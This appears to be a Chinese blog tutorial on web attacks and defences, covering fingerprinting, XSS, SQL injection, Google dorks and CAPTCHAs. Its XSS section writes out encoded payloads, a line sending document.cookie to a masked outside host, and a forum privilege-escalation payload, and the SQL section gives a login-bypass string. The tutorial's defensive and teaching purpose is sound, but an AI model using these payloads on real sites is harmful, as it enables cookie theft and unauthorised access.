黑客?网络安全之Web攻击及防御(SQL/XSS)

黑客?网络安全之Web攻击及防御(SQL/XSS)缩略图

导读:去了水印,想转载就转载吧。下一步会讲解一些真正的技术,强调下,基础很重要。

今日内容:

  1. Web安全概述

  2. Web服务器指纹识别

  3. Web页面窃取及防御

  4. XSS

  5. SQL

  6. Google Hacking

  7. 网页验证码

  8. 防御

今日好多大项的QAQ

黑客?网络安全之Web攻击及防御(SQL/XSS)

1.Web安全概述

Internet在大众化及飞速发展时,在线网络安全面临着更大的挑战。

Web安全可以从这几方面考虑:

  1. Web服务器安全

  2. Web客户端安全

  3. Web通信信道安全

1.Web服务器安全

  • 利用Web服务器漏洞进行攻击,如目录遍历漏洞等

  • 利用网页自身的安全漏洞攻击,如SQL注入,XSS等

针对Web服务器具体的安全威胁主要体现在这几个方面:

  • 服务器程序编写不当导致缓冲区溢出(Buffer Overflow),由此导致远程代码执行

  • 针对服务器的拒绝服务攻击(Denial of Service)

  • 脚本程序过滤不严等造成数据库查询语句注入(SQL Injection),可能引起信息泄漏、文件越权下载、验证绕过、远程代码执行等

  • 过于相信用户输入、过滤不严导致跨站脚本攻击(Cross Site Script),在欺骗管理员的前提下,获得服务器Shell

2.Web客户端安全

  • Cookie、ActiveX等技术大量使用,用户使用浏览器查看、编辑内容时,采用了这些技术可能会自动下载程序在客户机运行,导致窃取、改变用户信息等危害

  • 攻击者可以在网站上利用浏览器漏洞,挂上木马,当 用户访问 时,就中了木马。这种网页木马简称“网马”

  • 跨站脚本攻击(XSS)对于客户端也存在着威胁,利用XSS的Web蠕虫曾经肆虐存在。

3.Web通信信道安全

  • 信道安全需要面临着嗅探工具和拥塞信道、耗费资源等类似的拒绝服务攻击的威胁

OWASP的调查结果显示,对Web应用最大危害的Top10:

安全风险

应对工具

第一位: 注入式风险

SQL Inject Me

第二位: 跨站点脚本 (简称XSS)

ZAP

第三位: 无效的认证及会话管理功能

HackBar

第四位: 对不安全对象的直接引用

Burp

第五位: 伪造的跨站点请求(简称CSRF)

Tamper Data

第六位: 安全配置错误

Watobo

第七位: 加密存储方面的不安全因素

N/A

第八位: 不限制访问者的URL

Nikto/Wikto

第九位: 传输层面的保护力度不足

Calomel

第十位: 未经验证的重新指向及转发

Watcher

2.Web服务器的指纹识别

指纹识别可以分为两步:

  1. 第一步是对指纹进行收集和分类;

  2. 第二步是将未知的指纹同被储存在数据库中的指纹进行比较,从而找出最符合的。

Web服务器指纹:这个概念应用在Web服务器上,就是通过对服务器上的HTTP应用程序安装和配置等信息进行远程刺探,从而了解远程Web服务器的配置信息,然后根据不同版本的Web服务器进行有目的的攻击。

Http指纹识别原理基本相同:

记录不同服务器对Http协议执行中的微小差别进行识别。

Http指纹识别比TCP/IP堆栈指纹识别复杂很多,原因是定制http服务器配置文件、增加插件或组件使得更改Http的相应信息变得容易,这样就使识别变得困难;

  • Httprint

    它通过运用统计学原理,组合模糊的逻辑学技术,能够有效确定Http服务类型

    Httprint收集可每种http服务器在交互过程中产生的特征,将他们编码成一个固定长度的ASCII字符串,这就是Httprint签名

    主界面:

黑客?网络安全之Web攻击及防御(SQL/XSS)

结果报告:

黑客?网络安全之Web攻击及防御(SQL/XSS)

3.Web页面盗窃及防御

目的:

通过对各个网页源码的详细分析,找出可能存在于代码、注释或设计中的关键缺陷和脆弱点,以此来找到突破点

两种方法:

  1. 逐页手工扫描

  2. 自动扫描

1.逐页手工扫描

传统的Web盗窃方法是通过使用浏览器对一个Web站点上的每个网页逐页访问并查阅其源代码,以此来试图寻找Web服务器的安全漏洞。

一般而言,查看页面的Html代码可以发现不少信息,如页面使用的代码种类、页面中内嵌的脚本代码、甚至开发者或者公司的联系方式等等。

具有讽刺意义的是,往往规范化的编程风格会提供给攻击者更多的信息。因为规范的代码往往会有很多帮助性的注释,以帮助用户或者测试人员在代码运行错误时进行处理。

比如一个规范的HTML代码,却暴漏了注释信息,看到了目录结构

黑客?网络安全之Web攻击及防御(SQL/XSS)

评价:效率低,所以可以用于测试或少的站点

2.自动扫描

  • 对于较大型的Web站点,攻击者通常是采用脚本或扫描器来自动探测可能存在的安全漏洞。

  • 这种方法的原理是逐页读取目标Web站点上的各个网页,通过搜索特定的关键字,来找出可能的漏洞。

  • 为了实际运行的效率考虑,自动扫描往往会采取将目标Web站点镜像到本地、指定扫描条件、指定扫描细度等方法。

防御:

  1. 提高Web页面代码质量

  2. 监视访问日志中快速增长的GET请求

  3. 经常注意网络上新出现的web扫描脚本的攻击内容。

4.跨站脚本攻击(XSS)

什么是XSS攻击

  • XSS是跨站脚本攻击(Cross Site Script) 。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该网页时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

  • 本来跨站脚本攻击(Cross Site Scripting)应该缩写为CSS,但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。因此人们将跨站脚本攻击缩写为XSS。

跨站脚本攻击的危害?

  • XSS攻击可以搜集用户信息,攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户。

  • 一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告,查看主机信息等。

  • 例如,恶意代码将被欺骗用户的cookie收集起来进行cookie欺骗,或者是在访问者的电脑执行程序,比如后门木马或者是在系统上添加管理员帐户。

跨站脚本攻击发起条件

  • 跨站脚本漏洞主要是由于Web服务器没有对用户的输入进行有效性验证或验证强度不够,而又轻易地将它们返回给客户端造成的

  • 实现跨站脚本的攻击至少需要两个条件:

    • 需要存在跨站脚本漏洞的web应用程序;

    • 需要用户点击连接或者是访问某一页面

XSS攻击过程:

  1. 寻找XSS漏洞

  • 我们浏览的网页全部都是基于超文本标记语言( HTML )创建的,如显示一个超链接:

    • <A href=\”http://www.baidu.com\”>baidu</A>

  • XSS攻击正是通过向HTML代码中注入恶意的脚本实现的,HTML指定了脚本标记为:<script></script>

  • 在没有过滤字符的情况下,只需要保持完整无错的脚本标记即可触发XSS。假如我们在某个资料表单提交内容,表单提交内容就是某个标记属性所赋的值,我们可以构造如下值来闭和标记来构造完整无错的脚本标记:

    • \”><script>alert('XSS');</script><“

  • 把这个内容赋值给前面<A>标记的href属性,则结果形成了

    • <A href=\”\”><script>alert('XSS');</script> <\”\”>baidu</A>

  • 假如要在网页里显示一张图片,那么就要使用<img>标记,示例如下:

    • <img src=“http://127.0.0.1/xss.gif\”>

  • 浏览器的任务就是解释这个img标记,访问src属性所赋的值中的URL地址并输出图片。

问题来了!浏览器会不会检测src属性所赋的值呢?答案是否!

那么我们就可以在这里大做文章了,接触过javascript的使用者应该知道,javascript有一个URL伪协议,可以使用“javascript:” 这种协议说明符加上任意的javascript代码,当浏览器装载这样的URL时,便会执行其中的代码。

于是我们就得出了一个经典的XSS示例:

<img src=\”javascript:alert('XSS');\”>

黑客?网络安全之Web攻击及防御(SQL/XSS)

  • 在寻找XSS漏洞时,如果能看到源代码,我们主要看代码里对用户输入的地方和变量有没有做长度限制和对”<”、”>”、”;”和”’”等字符是否做过滤。

  • 还需要注意的是对于标签的闭合,有的时候,你输入<script>alert(‘test’)</script>,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,例如少了一个</script>。

  • 这个时候,你只要闭合一个</script>,代码就会执行,如你输入:</script><script>alert(‘test’)</script>,这样就可以弹出一个test的框。

2.注入恶意代码

  • 注入恶意代码的目的是:当被欺骗者访问了含有这段恶意代码的网页时,能实现你的攻击目的。

  • 例如,通过这些恶意代码,将访问者的Cookie信息发到远端攻击者手中,或者是提升用户的论坛权限、上传任意文件等。

  • 例如,把cookie发到远程的javascript代码可以这样写:

    • javascript:window.location=‘http://www.***.com/cgi-bin/cookie.cgi?’+document.cookie

    • window.location的作用是使网页自动跳转到另一个页面;document.cookie的作用是读取cookie。

  • 当然,接收输入的网页可能会对<,>,’,”等字符进行过滤,这时,就需要进行编码了。

  • IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,这种XSS转码支持10进制和16进制,SQL注入转码是将16进制字符串赋给一个变量,而XSS转码则是针对属性所赋的值,下面就拿<img src=“javascript:alert(‘XSS’);”>示例。

  • <img src=\”&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59\”> //10进制转码

  • <img src=\”&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&#x3b\”> //16进制转码

  • 通过编码,把cookie发到远程的script可以写成:

    • javascript:window.location=&#x27http://www.***.com/cgi-bin/cookie.cgi? &#x27 +document.cookie

  • 其中,’的ASCII码是0x27。

  • 当用户访问的网页含有这段脚本时,用户的cookie将被发送到 www.***.com/cgi-bin/cookie.cgi并被显示。

  • window.location的作用是使网页自动跳转到另一个页面;document.cookie的作用是读取cookie

  • 对于一个论坛程序,还可以根据论坛的特定编程方式来提升权限。

  • 例如,一个论坛的后台通过admin_user.asp来修改用户的权限,用法是:admin_user.asp?&username=xxx&membercode=yyy,意思是把xxx用户的权限设置为yyy。

  • 那么结合<img>标签,我们可以构造如下攻击代码。

    • <imgsrc=“javascript:window.location= ‘http://127.0.0.1/admin_user.asp?&username=xxx&membercode=yyy’”>

    • 让用户浏览这张图片时,转去admin_user.asp页面运行,并尝试把用户xxx的权限修改为yyy。

3.欺骗用户访问

  • 当你把恶意的代码插入到网页中之后,接下来要做的事情就是让目标用户来访问你的网页,“间接”通过这个目标用户来完成你的目的。

  • 并不是所有用户都有足够的权限能帮你完成的恶意目的,例如刚才那个在论坛中提升用户权限的跨站脚本,一般的论坛只能超级管理员才有这个权限。这时,你就需要诱骗他来访问你的恶意页面。

  • 欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!

5.SQL注入

  • 随着B/S网络应用的普及,Web应用多使用脚本语言(ASP、PHP等)加后台数据库系统进行开发。在这些网络程序中,用户输入的数据被当作命令和查询的一部分,送到后台的解释器中解释执行。

  • 程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。

  • 攻击者可以提交一段精心构造的数据库查询代码,根据网页返回的结果,获得某些他想得知的数据或者目标网站的敏感信息,这就是所谓的SQL Injection,即SQL注入。

假设这么一个情景,一个网页的后台入口处需要验证用户名和密码,验证程序的SQL语句是这样写:

Select * from admin where user=‘TxtBox1.txt’ and pass=‘TxtBox2.txt’

黑客?网络安全之Web攻击及防御(SQL/XSS)

  • 如果用户填写的用户名和密码都是: ‘abc’ or ‘1’=‘1’

  • 那么将导致SQL语句是:

  • Select * from admin where user=‘abc’ or ‘1’=‘1’ and pass= =‘abc’ or ‘1’=‘1’

  • 这条语句是永真式,那么攻击者就成功登陆了后台。这就是最简单的SQL注入方式。

SQL注入过程:

  1. 寻找可能存在SQL注入漏洞的链接

  2. 测试是否存在SQL注入漏洞

  3. 猜管理员账户表

  4. 猜字段

  5. 猜用户名和管理员长度

  6. 猜用户名/密码

手工注入

软件注入(Sqlmap)

防范:

  • SQL注入漏洞在网上极为普遍,通常是由于程序员对用户提交的数据和输入参数没有进行严格的过滤所导致的。因此首要对用户提交的数据和参数进行严格的过滤。

  • 比如过滤逗号,单引号,分号等;如果select、delete、from、*、union之类的字符串同时出现多个的话,也要引起重视;最好对用户提交的参数的长度也进行判断。

6.Google Hacking

  • Google Hacking就是利用搜索引擎搜索所需要的敏感信息的一种手段。

  • Google Hacking的含义原指利用Google Google搜索引擎搜索信息来进行入侵的技术和行为;现指利用各种搜索引擎搜索信息来进行入侵的技术和行为;

示例:

  • intext:就是把网页正文内容中的某个字符做为搜索条件

  • 例如在Google里输入“intext:动网”(注意:在搜索引擎中输入的字符不包括“”,本节中以下同),将返回所有在网页正文部分包含“动网”的网页。

  • allintext:使用方法和intext类似。

  • intitle:和intext相近,搜索网页标题中是否有所要找的字符。

  • 例如搜索“intitle:IT安全”,将返回所有网页标题中包含“IT安全”的网页。

  • allintitle:也同intitle类似。

  • cache:搜索Google里关于某些内容的缓存。

  • define:搜索某个词语的定义。

  • 比如搜索“define:黑客”,将返回关于“黑客”的定义。

  • filetype:搜索指定类型的文件。这个是要重点推荐的,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到它。

  • 例如输入“filetype:mdb”,将返回所有以“mdb”结尾的文件URL。如果对方的虚拟主机或服务器没有限制下载,那么单击这些URL就可以将对方的这些文件下载下来。

  • info:查找指定站点的一些基本信息。

  • inurl:搜索指定的字符是否存在于URL中。

  • 例如输入“inurl:admin”,将返回许多类似于这样的连接:http://www.xxx.com/xxx/admin,用这一搜索指令来寻找管理员登陆的URL是非常有效的一个途径。

  • allinurl:也同inurl类似,可指定多个字符。

例如查找有SQL注入漏洞的站点:

  • allinurl:/privmsg.php

7.网页验证码攻击

  • 验证码技术属于人机区分问题,这在英文中称为CAPTCHA,它是是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。

  • 验证码技术的主要思想是对验证码字体和背景进行处理,使得信息提交过程必须通过人为参与完成。

  • 验证码的作用主要有防止暴力破解,防止恶意灌水,防止自动提交等。

验证码技术

  • 基于表单自动提交的HTTP攻击

黑客?网络安全之Web攻击及防御(SQL/XSS)

  • 基于验证码的表单提交流程

黑客?网络安全之Web攻击及防御(SQL/XSS)

验证码的类型:

  • 文本 — 安全性差

  • 手机 — 好

  • 邮件 — 好,但私人邮箱可能会有DoS攻击

  • 图片 — 安全,存在算法难点(使用安全性较高的图片时)

8.防御

Web服务器安全配置

主要包括“主机系统的安全配置”和“Web服务器的安全配置”

  • 加固、加固

  • 及时更新漏洞

  • 降低、限定死权限

  • 正确操作

  • 审计

  • 备份与恢复

发表评论

邮箱地址不会被公开。 必填项已用*标注